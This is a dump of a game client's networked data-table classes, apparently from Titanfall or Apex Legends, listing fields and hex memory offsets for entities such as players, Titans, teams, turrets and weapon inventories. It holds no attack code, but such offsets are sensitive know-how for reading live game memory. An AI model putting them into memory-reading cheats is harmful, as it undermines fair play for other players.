+class DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_bools +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_ranges +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_int32s +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_times +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_entities +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0c9a m_ranges[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0ce0 m_int32s[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0cf8 m_times[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0d20 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_bools +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_ranges +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_int32s +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_times +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_entities +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0c9a m_ranges[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0d58 m_int32s[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0d70 m_times[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0d98 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_PLAYER_GLOBAL extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_bools +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_ranges +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_int32s +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_times +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_entities +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0c8e m_ranges[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0cd4 m_int32s[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0d0c m_times[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0d34 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_TITAN_SOUL extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_bools +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_ranges +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_int32s +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_times +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_entities +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0c8a m_ranges[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0cb0 m_int32s[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0cc0 m_times[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0ce8 m_entities[0] +``` +
+
+class DT_ScriptProp extends DT_DynamicProp + +``` +{ + m_networkedFlags: Int, + m_iHealth: Int, + m_iMaxHealth: Int, + m_minimapData: DT_MinimapBaseEntityData, + m_nameVisibilityFlags: Int, + m_title: String, + m_footstepType: String, + m_renderColorFriendlyIsValid: Int, + m_renderColorFriendly: Int, + m_armorType: Int, + m_scriptPropFlags: Int, + m_scriptPropSmartAmmoLockType: Int, +} +``` + +### Offsets + +``` +DT_ScriptProp!0x03d4 m_networkedFlags +DT_ScriptProp!0x0420 m_iHealth +DT_ScriptProp!0x0550 m_iMaxHealth +DT_ScriptProp!0x0948 m_minimapData +DT_ScriptProp!0x0998 m_nameVisibilityFlags +DT_ScriptProp!0x1660 m_title +DT_ScriptProp!0x1680 m_footstepType +DT_ScriptProp!0x16c0 m_renderColorFriendlyIsValid +DT_ScriptProp!0x16c1 m_renderColorFriendly +DT_ScriptProp!0x16c8 m_armorType +DT_ScriptProp!0x16cc m_scriptPropFlags +DT_ScriptProp!0x16d0 m_scriptPropSmartAmmoLockType +``` +
+
+class DT_ScriptTraceVolume extends DT_BaseEntity + +``` +{ + m_shapeType: Int, + m_sphereRadius: Float, + m_boxMins: Vector, + m_boxMaxs: Vector, + m_drawDebug: Int, +} +``` + +### Offsets + +``` +DT_ScriptTraceVolume!0x0a40 m_shapeType +DT_ScriptTraceVolume!0x0a44 m_sphereRadius +DT_ScriptTraceVolume!0x0a48 m_boxMins +DT_ScriptTraceVolume!0x0a54 m_boxMaxs +DT_ScriptTraceVolume!0x0a60 m_drawDebug +``` +
+
+class DT_SequenceTransitioner + +``` +{ + m_sequenceTransitionerLayers: DataTable, + m_sequenceTransitionerLayerCount: Int, +} +``` + +### Offsets + +``` +DT_SequenceTransitioner!0x0050 m_sequenceTransitionerLayers +DT_SequenceTransitioner!0x01a0 m_sequenceTransitionerLayerCount +``` +
+
+class DT_SequenceTransitionerLayer + +``` +{ + m_sequenceTransitionerLayerActive: Int, + m_sequenceTransitionerLayerStartCycle: Cycle, + m_sequenceTransitionerLayerSequence: Int, + m_sequenceTransitionerLayerPlaybackRate: Float, + m_sequenceTransitionerLayerStartTime: Time, + m_sequenceTransitionerLayerFadeOutDuration: Cycle, +} +``` + +### Offsets + +``` +DT_SequenceTransitionerLayer!0x0018 m_sequenceTransitionerLayerActive +DT_SequenceTransitionerLayer!0x001c m_sequenceTransitionerLayerStartCycle +DT_SequenceTransitionerLayer!0x0020 m_sequenceTransitionerLayerSequence +DT_SequenceTransitionerLayer!0x0028 m_sequenceTransitionerLayerPlaybackRate +DT_SequenceTransitionerLayer!0x002c m_sequenceTransitionerLayerStartTime +DT_SequenceTransitionerLayer!0x0030 m_sequenceTransitionerLayerFadeOutDuration +``` +
+
+class DT_SoundData + +``` +{ + m_targetEnt: Int, + m_soundID: BitMask, + m_networkTableID: Int, + m_soundIsStart: Int, + m_seek: Float, +} +``` + +### Offsets + +``` +DT_SoundData!0x0000 m_targetEnt +DT_SoundData!0x0008 m_soundID +DT_SoundData!0x0010 m_networkTableID +DT_SoundData!0x0014 m_soundIsStart +DT_SoundData!0x0018 m_seek +``` +
+
+class DT_StatueProp extends DT_PhysicsProp + +``` +{ + m_hInitBaseAnimating: Int, + m_bShatter: Int, + m_nShatterFlags: Int, + m_vShatterPosition: Vector, + m_vShatterForce: Vector, +} +``` + +### Offsets + +``` +DT_StatueProp!0x1680 m_hInitBaseAnimating +DT_StatueProp!0x1684 m_bShatter +DT_StatueProp!0x1688 m_nShatterFlags +DT_StatueProp!0x168c m_vShatterPosition +DT_StatueProp!0x1698 m_vShatterForce +``` +
+
+class DT_StatusEffectPlugin + +``` +{ + m_hOwnerEntity: Int, + m_statusEffectsTimedPluginNV: DataTable, + m_statusEffectsEndlessPluginNV: DataTable, +} +``` + +### Offsets + +``` +DT_StatusEffectPlugin!0x0480 m_hOwnerEntity +DT_StatusEffectPlugin!0x0a40 m_statusEffectsTimedPluginNV +DT_StatusEffectPlugin!0x0a58 m_statusEffectsEndlessPluginNV +``` +
+
+class DT_TEBreakModel extends DT_BaseTempEntity + +``` +{ + m_vecOrigin: Vector, + m_angRotation.x: Float, + m_angRotation.y: Float, + m_angRotation.z: Float, + m_vecSize: Vector, + m_vecVelocity: Vector, + m_nRandomization: Int, + m_nModelIndex: Int, + m_nCount: Int, + m_fTime: Float, + m_nFlags: Int, +} +``` + +### Offsets + +``` +DT_TEBreakModel!0x0028 m_vecOrigin +DT_TEBreakModel!0x0034 m_angRotation.x +DT_TEBreakModel!0x0038 m_angRotation.y +DT_TEBreakModel!0x003c m_angRotation.z +DT_TEBreakModel!0x0040 m_vecSize +DT_TEBreakModel!0x004c m_vecVelocity +DT_TEBreakModel!0x0058 m_nRandomization +DT_TEBreakModel!0x005c m_nModelIndex +DT_TEBreakModel!0x0060 m_nCount +DT_TEBreakModel!0x0064 m_fTime +DT_TEBreakModel!0x0068 m_nFlags +``` +
+
+class DT_TEExplosion extends DT_TEParticleSystem + +``` +{ + m_fScale: Float, + m_nFrameRate: Int, + m_nFlags: Int, + m_vecNormal: Vector, + m_chMaterialType: Int, + m_nRadius: Int, + m_nInnerRadius: Int, + m_nMagnitude: Int, + m_impactEffectTableIndex: Int, + m_surfaceProp: Int, + m_owner: Int, + m_victim: Int, +} +``` + +### Offsets + +``` +DT_TEExplosion!0x0038 m_fScale +DT_TEExplosion!0x003c m_nFrameRate +DT_TEExplosion!0x0040 m_nFlags +DT_TEExplosion!0x0044 m_vecNormal +DT_TEExplosion!0x0050 m_chMaterialType +DT_TEExplosion!0x0054 m_nRadius +DT_TEExplosion!0x0058 m_nInnerRadius +DT_TEExplosion!0x005c m_nMagnitude +DT_TEExplosion!0x0060 m_impactEffectTableIndex +DT_TEExplosion!0x0064 m_surfaceProp +DT_TEExplosion!0x0068 m_owner +DT_TEExplosion!0x006c m_victim +``` +
+
+class DT_TEPhysicsProp extends DT_BaseTempEntity + +``` +{ + m_vecOrigin: Vector, + m_angRotation.x: Float, + m_angRotation.y: Float, + m_angRotation.z: Float, + m_vecVelocity: Vector, + m_nModelIndex: Int, + m_nSkin: Int, + m_nFlags: Int, + m_nEffects: Int, +} +``` + +### Offsets + +``` +DT_TEPhysicsProp!0x0028 m_vecOrigin +DT_TEPhysicsProp!0x0034 m_angRotation.x +DT_TEPhysicsProp!0x0038 m_angRotation.y +DT_TEPhysicsProp!0x003c m_angRotation.z +DT_TEPhysicsProp!0x0040 m_vecVelocity +DT_TEPhysicsProp!0x004c m_nModelIndex +DT_TEPhysicsProp!0x0050 m_nSkin +DT_TEPhysicsProp!0x0054 m_nFlags +DT_TEPhysicsProp!0x0058 m_nEffects +``` +
+
+class DT_TEProjectileTrail extends DT_BaseTempEntity + +``` +{ + m_owner: Int, + m_startPos: Vector, + m_endPos: Vector, + m_weaponClassIndex: Int, + m_modBitfield: Int, + m_projectileTrailIndex: Int, + m_impactEffectTable: Int, +} +``` + +### Offsets + +``` +DT_TEProjectileTrail!0x0028 m_owner +DT_TEProjectileTrail!0x002c m_startPos +DT_TEProjectileTrail!0x0038 m_endPos +DT_TEProjectileTrail!0x0044 m_weaponClassIndex +DT_TEProjectileTrail!0x0048 m_modBitfield +DT_TEProjectileTrail!0x004c m_projectileTrailIndex +DT_TEProjectileTrail!0x0050 m_impactEffectTable +``` +
+
+class DT_TEScriptParticleSystem extends DT_BaseTempEntity + +``` +{ + m_effectIndex: Int, + m_origin: Vector, + m_angles: Vector, + m_controlPoint1: Vector, +} +``` + +### Offsets + +``` +DT_TEScriptParticleSystem!0x0028 m_effectIndex +DT_TEScriptParticleSystem!0x002c m_origin +DT_TEScriptParticleSystem!0x0038 m_angles +DT_TEScriptParticleSystem!0x0044 m_controlPoint1 +``` +
+
+class DT_TEScriptParticleSystemOnEntity extends DT_BaseTempEntity + +``` +{ + m_effectIndex: Int, + m_ent: Int, + m_attachType: Int, + m_attachmentIndex: Int, + m_attachType2: Int, + m_attachmentIndex2: Int, +} +``` + +### Offsets + +``` +DT_TEScriptParticleSystemOnEntity!0x0028 m_effectIndex +DT_TEScriptParticleSystemOnEntity!0x002c m_ent +DT_TEScriptParticleSystemOnEntity!0x0030 m_attachType +DT_TEScriptParticleSystemOnEntity!0x0034 m_attachmentIndex +DT_TEScriptParticleSystemOnEntity!0x0038 m_attachType2 +DT_TEScriptParticleSystemOnEntity!0x003c m_attachmentIndex2 +``` +
+
+class DT_TEShatterSurface extends DT_BaseTempEntity + +``` +{ + m_vecOrigin: Vector, + m_vecAngles: Vector, + m_vecForce: Vector, + m_vecForcePos: Vector, + m_flWidth: Float, + m_flHeight: Float, + m_flShardSize: Float, + m_nSurfaceType: Int, +} +``` + +### Offsets + +``` +DT_TEShatterSurface!0x0028 m_vecOrigin +DT_TEShatterSurface!0x0034 m_vecAngles +DT_TEShatterSurface!0x0040 m_vecForce +DT_TEShatterSurface!0x004c m_vecForcePos +DT_TEShatterSurface!0x0058 m_flWidth +DT_TEShatterSurface!0x005c m_flHeight +DT_TEShatterSurface!0x0060 m_flShardSize +DT_TEShatterSurface!0x0064 m_nSurfaceType +``` +
+
+class DT_Team + +``` +{ + player_array_element: Int, + "player_array": Array, + m_score: Int, + m_score2: Int, + m_kills: Int, + m_deaths: Int, + m_iRoundsWon: Int, + m_iTeamTeamNum: Int, + m_szTeamname: String, + m_reservedPlayerCount: Int, + m_connectingPlayerCount: Int, + m_loadingPlayerCount: Int, +} +``` + +### Offsets + +``` +DT_Team!0x0000 player_array_element +DT_Team!0x0000 "player_array" +DT_Team!0x0a40 m_score +DT_Team!0x0a44 m_score2 +DT_Team!0x0a48 m_kills +DT_Team!0x0a4c m_deaths +DT_Team!0x0a50 m_iRoundsWon +DT_Team!0x0a54 m_iTeamTeamNum +DT_Team!0x0a78 m_szTeamname +DT_Team!0x0b78 m_reservedPlayerCount +DT_Team!0x0b7c m_connectingPlayerCount +DT_Team!0x0b80 m_loadingPlayerCount +``` +
+
+class DT_ThirdPersonView + +``` +{ + m_thirdPersonEntViewOffset.x: Float, + m_thirdPersonEntViewOffset.y: Float, + m_thirdPersonEntViewOffset.z: Float, + m_thirdPersonEntShouldViewAnglesFollowThirdPersonEnt: Int, + m_thirdPersonEntPitchIsFreelook: Int, + m_thirdPersonEntYawIsFreelook: Int, + m_thirdPersonEntUseFixedDist: Int, + m_thirdPersonEntFixedClientOnly: Int, + m_thirdPersonEntPushedInByGeo: Int, + m_thirdPersonEntDrawViewmodel: Int, + m_thirdPersonEntEnableCameraLag: Int, + m_thirdPersonEntFreezeLookControls: Int, + m_thirdPersonEntBlendInTotalDuration: Float, + m_thirdPersonEntBlendInEaseInDuration: Float, + m_thirdPersonEntBlendInEaseOutDuration: Float, + m_thirdPersonEntBlendOutDuration: Float, + m_thirdPersonEntFixedPitch: Float, + m_thirdPersonEntFixedYaw: Float, + m_thirdPersonEntFixedDist: Float, + m_thirdPersonEntFixedHeight: Float, + m_thirdPersonEntFixedRight: Float, + m_thirdPersonEntMinYaw: Float, + m_thirdPersonEntMaxYaw: Float, + m_thirdPersonEntMinPitch: Float, + m_thirdPersonEntMaxPitch: Float, + m_thirdPersonEntSpringToCenterRate: Float, + m_thirdPersonEntSpringToCenterDelay: Float, + m_thirdPersonEntLookaheadLowerEntSpeed: Float, + m_thirdPersonEntLookaheadUpperEntSpeed: Float, + m_thirdPersonEntLookaheadMaxAngle: Float, + m_thirdPersonEntLookaheadLerpAheadRate: Float, + m_thirdPersonEntLookaheadLerpToCenterRate: Float, +} +``` + +### Offsets + +``` +DT_ThirdPersonView!0x0000 m_thirdPersonEntViewOffset.x +DT_ThirdPersonView!0x0004 m_thirdPersonEntViewOffset.y +DT_ThirdPersonView!0x0008 m_thirdPersonEntViewOffset.z +DT_ThirdPersonView!0x000c m_thirdPersonEntShouldViewAnglesFollowThirdPersonEnt +DT_ThirdPersonView!0x000d m_thirdPersonEntPitchIsFreelook +DT_ThirdPersonView!0x000e m_thirdPersonEntYawIsFreelook +DT_ThirdPersonView!0x000f m_thirdPersonEntUseFixedDist +DT_ThirdPersonView!0x0010 m_thirdPersonEntFixedClientOnly +DT_ThirdPersonView!0x0011 m_thirdPersonEntPushedInByGeo +DT_ThirdPersonView!0x0012 m_thirdPersonEntDrawViewmodel +DT_ThirdPersonView!0x0013 m_thirdPersonEntEnableCameraLag +DT_ThirdPersonView!0x0014 m_thirdPersonEntFreezeLookControls +DT_ThirdPersonView!0x0018 m_thirdPersonEntBlendInTotalDuration +DT_ThirdPersonView!0x001c m_thirdPersonEntBlendInEaseInDuration +DT_ThirdPersonView!0x0020 m_thirdPersonEntBlendInEaseOutDuration +DT_ThirdPersonView!0x0024 m_thirdPersonEntBlendOutDuration +DT_ThirdPersonView!0x0028 m_thirdPersonEntFixedPitch +DT_ThirdPersonView!0x002c m_thirdPersonEntFixedYaw +DT_ThirdPersonView!0x0030 m_thirdPersonEntFixedDist +DT_ThirdPersonView!0x0034 m_thirdPersonEntFixedHeight +DT_ThirdPersonView!0x0038 m_thirdPersonEntFixedRight +DT_ThirdPersonView!0x0050 m_thirdPersonEntMinYaw +DT_ThirdPersonView!0x0054 m_thirdPersonEntMaxYaw +DT_ThirdPersonView!0x0058 m_thirdPersonEntMinPitch +DT_ThirdPersonView!0x005c m_thirdPersonEntMaxPitch +DT_ThirdPersonView!0x0060 m_thirdPersonEntSpringToCenterRate +DT_ThirdPersonView!0x0064 m_thirdPersonEntSpringToCenterDelay +DT_ThirdPersonView!0x0068 m_thirdPersonEntLookaheadLowerEntSpeed +DT_ThirdPersonView!0x006c m_thirdPersonEntLookaheadUpperEntSpeed +DT_ThirdPersonView!0x0070 m_thirdPersonEntLookaheadMaxAngle +DT_ThirdPersonView!0x0074 m_thirdPersonEntLookaheadLerpAheadRate +DT_ThirdPersonView!0x0078 m_thirdPersonEntLookaheadLerpToCenterRate +``` +
+
+class DT_TitanSoul + +``` +{ + statuseffectsdata_soul: DT_TitanSoul_StatusEffects, + m_bossPlayer: Int, + m_shieldHealth: Int, + m_shieldHealthMax: Int, + m_networkedFlags: Int, + m_titan: Int, + m_titanSoulScriptNetData: Int, + m_lastRodeoHitTime: Time, + m_nextCoreChargeAvailable: Time, + m_coreChargeExpireTime: Time, + m_coreChargeStartTime: Time, + m_coreUseDuration: Time, + m_damageComboLatestUpdateTime: Time, + m_damageComboStartHealth: Int, + m_stance: Int, + m_doomed: Int, + m_playerSettingsNum: BitMask, + m_invalidHealthBarEnt: Int, + m_bEjecting: Int, + m_isValidRodeoTarget: Int, +} +``` + +### Offsets + +``` +DT_TitanSoul!0x0000 statuseffectsdata_soul +DT_TitanSoul!0x0124 m_bossPlayer +DT_TitanSoul!0x0170 m_shieldHealth +DT_TitanSoul!0x0174 m_shieldHealthMax +DT_TitanSoul!0x03d4 m_networkedFlags +DT_TitanSoul!0x0a40 m_titan +DT_TitanSoul!0x0a48 m_titanSoulScriptNetData +DT_TitanSoul!0x0be0 m_lastRodeoHitTime +DT_TitanSoul!0x0be8 m_nextCoreChargeAvailable +DT_TitanSoul!0x0bf0 m_coreChargeExpireTime +DT_TitanSoul!0x0bf8 m_coreChargeStartTime +DT_TitanSoul!0x0bfc m_coreUseDuration +DT_TitanSoul!0x0c00 m_damageComboLatestUpdateTime +DT_TitanSoul!0x0c04 m_damageComboStartHealth +DT_TitanSoul!0x0da8 m_stance +DT_TitanSoul!0x0dac m_doomed +DT_TitanSoul!0x0db0 m_playerSettingsNum +DT_TitanSoul!0x0db8 m_invalidHealthBarEnt +DT_TitanSoul!0x0db9 m_bEjecting +DT_TitanSoul!0x0dba m_isValidRodeoTarget +``` +
+
+class DT_TitanSoul_StatusEffects + +``` +{ + m_statusEffectsTimedTitanSoulNV: DataTable, + m_statusEffectsEndlessTitanSoulNV: DataTable, +} +``` + +### Offsets + +``` +DT_TitanSoul_StatusEffects!0x0c08 m_statusEffectsTimedTitanSoulNV +DT_TitanSoul_StatusEffects!0x0cf8 m_statusEffectsEndlessTitanSoulNV +``` +
+
+class DT_TriggerCylinderHeavy extends DT_BaseTrigger + +``` +{ + m_triggerFilterMask: BitMask, + m_radius: Float, + m_aboveHeight: Float, + m_belowHeight: Float, + m_teslaTrapBaseHeight: Float, + m_vertOverride: Float, + m_launchPower: Float, + m_punchSoftAmount: Float, + m_punchHardAmount: Float, + m_punchRandomBoost: Float, + m_gravityLiftUpSpeed: Float, + m_gravityLiftMoveSpeed: Float, + m_gravityLiftToCenterSpeed: Float, + m_gravityLiftEjectUpSpeed: Float, + m_gravityLiftEjectForwardSpeed: Float, + m_crowdPusherRadius: Float, + m_crowdPusherArcDeg: Float, + m_crowdPusherPower: Float, + m_crowdPusherShovePower: Float, + m_triggerType: Int, + m_teslaTrapFXVisible: Int, + m_teslaTrapObstructedEndTime: Time, + m_teslaTrapStart: Int, + m_teslaTrapEnd: Int, + m_teslaTrapUp: Vector, + m_launchDir: Vector, +} +``` + +### Offsets + +``` +DT_TriggerCylinderHeavy!0x0ac0 m_triggerFilterMask +DT_TriggerCylinderHeavy!0x0ac8 m_radius +DT_TriggerCylinderHeavy!0x0acc m_aboveHeight +DT_TriggerCylinderHeavy!0x0ad0 m_belowHeight +DT_TriggerCylinderHeavy!0x0ad4 m_teslaTrapBaseHeight +DT_TriggerCylinderHeavy!0x0ad8 m_vertOverride +DT_TriggerCylinderHeavy!0x0adc m_launchPower +DT_TriggerCylinderHeavy!0x0ae0 m_punchSoftAmount +DT_TriggerCylinderHeavy!0x0ae4 m_punchHardAmount +DT_TriggerCylinderHeavy!0x0ae8 m_punchRandomBoost +DT_TriggerCylinderHeavy!0x0aec m_gravityLiftUpSpeed +DT_TriggerCylinderHeavy!0x0af0 m_gravityLiftMoveSpeed +DT_TriggerCylinderHeavy!0x0af4 m_gravityLiftToCenterSpeed +DT_TriggerCylinderHeavy!0x0af8 m_gravityLiftEjectUpSpeed +DT_TriggerCylinderHeavy!0x0afc m_gravityLiftEjectForwardSpeed +DT_TriggerCylinderHeavy!0x0b00 m_crowdPusherRadius +DT_TriggerCylinderHeavy!0x0b04 m_crowdPusherArcDeg +DT_TriggerCylinderHeavy!0x0b08 m_crowdPusherPower +DT_TriggerCylinderHeavy!0x0b0c m_crowdPusherShovePower +DT_TriggerCylinderHeavy!0x0b10 m_triggerType +DT_TriggerCylinderHeavy!0x0b14 m_teslaTrapFXVisible +DT_TriggerCylinderHeavy!0x0b1c m_teslaTrapObstructedEndTime +DT_TriggerCylinderHeavy!0x0b20 m_teslaTrapStart +DT_TriggerCylinderHeavy!0x0b24 m_teslaTrapEnd +DT_TriggerCylinderHeavy!0x0b28 m_teslaTrapUp +DT_TriggerCylinderHeavy!0x0b34 m_launchDir +``` +
+
+class DT_TriggerPointGravity extends DT_BaseTrigger + +``` +{ + m_pullOuterRadius: Float, + m_pullInnerRadius: Float, + m_reduceSpeedOuterRadius: Float, + m_reduceSpeedInnerRadius: Float, + m_pullAccel: Float, + m_pullSpeed: Float, +} +``` + +### Offsets + +``` +DT_TriggerPointGravity!0x0ac0 m_pullOuterRadius +DT_TriggerPointGravity!0x0ac4 m_pullInnerRadius +DT_TriggerPointGravity!0x0ac8 m_reduceSpeedOuterRadius +DT_TriggerPointGravity!0x0acc m_reduceSpeedInnerRadius +DT_TriggerPointGravity!0x0ad0 m_pullAccel +DT_TriggerPointGravity!0x0ad4 m_pullSpeed +``` +
+
+class DT_Turret extends DT_BaseAnimatingOverlay + +``` +{ + m_iHealth: Int, + m_iMaxHealth: Int, + m_overlayEventParity: DataTable, + m_settingsIndex: Int, + m_driver: Int, + m_forceAimPitch: Float, + m_forceAimYaw: Float, + m_driverDetachTime: Float, + m_driverState: Int, + m_turretWeapon: Int, + m_title: String, +} +``` + +### Offsets + +``` +DT_Turret!0x0420 m_iHealth +DT_Turret!0x0550 m_iMaxHealth +DT_Turret!0x1711 m_overlayEventParity +DT_Turret!0x1988 m_settingsIndex +DT_Turret!0x19b8 m_driver +DT_Turret!0x19e0 m_forceAimPitch +DT_Turret!0x19e4 m_forceAimYaw +DT_Turret!0x19e8 m_driverDetachTime +DT_Turret!0x19ec m_driverState +DT_Turret!0x19f0 m_turretWeapon +DT_Turret!0x19fc m_title +``` +
+
+class DT_VGuiScreen extends DT_BaseEntity + +``` +{ + m_flWidth: Float, + m_flHeight: Float, + m_nPanelName: Int, + m_nAttachmentIndex: Int, + m_nOverlayMaterial: Int, + m_fScreenFlags: Int, + m_hPlayerOwner: Int, +} +``` + +### Offsets + +``` +DT_VGuiScreen!0x0a40 m_flWidth +DT_VGuiScreen!0x0a44 m_flHeight +DT_VGuiScreen!0x0a50 m_nPanelName +DT_VGuiScreen!0x0a6c m_nAttachmentIndex +DT_VGuiScreen!0x0a70 m_nOverlayMaterial +DT_VGuiScreen!0x0a74 m_fScreenFlags +DT_VGuiScreen!0x0ad8 m_hPlayerOwner +``` +
+
+class DT_VehicleDriverExclusive + +``` +{ + m_hoverVehicleHoverOffsetPrev: Array, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, + m_hoverVehicleHoverOffsetPrev[0]: Float, + m_hoverVehicleSmoothTilt: Vector, + m_hoverVehicleSmoothTiltVelocity: Vector, + m_hoverVehicleSmoothYaw: Float, + m_hoverVehicleSmoothYawVelocity: Float, + m_hoverVehicleLookAheadAcceleration: Vector, + m_hoverVehicleDebugFlyMode: Int, + m_hoverVehiclePhysPush: Vector, + m_pushedFixedPointOffset: DataTable, +} +``` + +### Offsets + +``` +DT_VehicleDriverExclusive!0x0000 m_hoverVehicleHoverOffsetPrev +DT_VehicleDriverExclusive!0x0004 m_localOrigin +DT_VehicleDriverExclusive!0x000c m_localOrigin.z +DT_VehicleDriverExclusive!0x19e0 m_hoverVehicleHoverOffsetPrev[0] +DT_VehicleDriverExclusive!0x1a50 m_hoverVehicleSmoothTilt +DT_VehicleDriverExclusive!0x1a5c m_hoverVehicleSmoothTiltVelocity +DT_VehicleDriverExclusive!0x1a68 m_hoverVehicleSmoothYaw +DT_VehicleDriverExclusive!0x1a6c m_hoverVehicleSmoothYawVelocity +DT_VehicleDriverExclusive!0x1a70 m_hoverVehicleLookAheadAcceleration +DT_VehicleDriverExclusive!0x1a84 m_hoverVehicleDebugFlyMode +DT_VehicleDriverExclusive!0x1ab8 m_hoverVehiclePhysPush +DT_VehicleDriverExclusive!0x1bd8 m_pushedFixedPointOffset +``` +
+
+class DT_VehicleNonDriverExclusive + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, +} +``` + +### Offsets + +``` +DT_VehicleNonDriverExclusive!0x004c m_cellX +DT_VehicleNonDriverExclusive!0x0050 m_cellY +DT_VehicleNonDriverExclusive!0x0054 m_cellZ +DT_VehicleNonDriverExclusive!0x0058 m_localOrigin +DT_VehicleNonDriverExclusive!0x0060 m_localOrigin.z +``` +
+
+class DT_VortexSphere extends DT_BaseEntity + +``` +{ + m_spawnflags: Int, + m_iHealth: Int, + m_enabled: Int, + m_radius: Float, + m_height: Float, + m_bulletFov: Float, + m_bulletAbsorbedCount: Int, + m_projectileAbsorbedCount: Int, + m_ownerWeapon: Int, + m_vortexEffect: Int, + m_vortexLocalAngles: Vector, + m_gunAttachment: String, +} +``` + +### Offsets + +``` +DT_VortexSphere!0x0094 m_spawnflags +DT_VortexSphere!0x0420 m_iHealth +DT_VortexSphere!0x0a40 m_enabled +DT_VortexSphere!0x0a44 m_radius +DT_VortexSphere!0x0a48 m_height +DT_VortexSphere!0x0a4c m_bulletFov +DT_VortexSphere!0x0a50 m_bulletAbsorbedCount +DT_VortexSphere!0x0a54 m_projectileAbsorbedCount +DT_VortexSphere!0x0a58 m_ownerWeapon +DT_VortexSphere!0x0a5c m_vortexEffect +DT_VortexSphere!0x0a60 m_vortexLocalAngles +DT_VortexSphere!0x0a70 m_gunAttachment +``` +
+
+class DT_WeaponInventory + +``` +{ + weapons: DataTable, + offhandWeapons: DataTable, + activeWeapons: DataTable, +} +``` + +### Offsets + +``` +DT_WeaponInventory!0x0008 weapons +DT_WeaponInventory!0x0030 offhandWeapons +DT_WeaponInventory!0x0068 activeWeapons +``` +
+
+class DT_WeaponInventoryActiveWeaponOnly + +``` +{ + activeWeapons: DataTable, +} +``` + +### Offsets + +``` +DT_WeaponInventoryActiveWeaponOnly!0x0068 activeWeapons +``` +
+
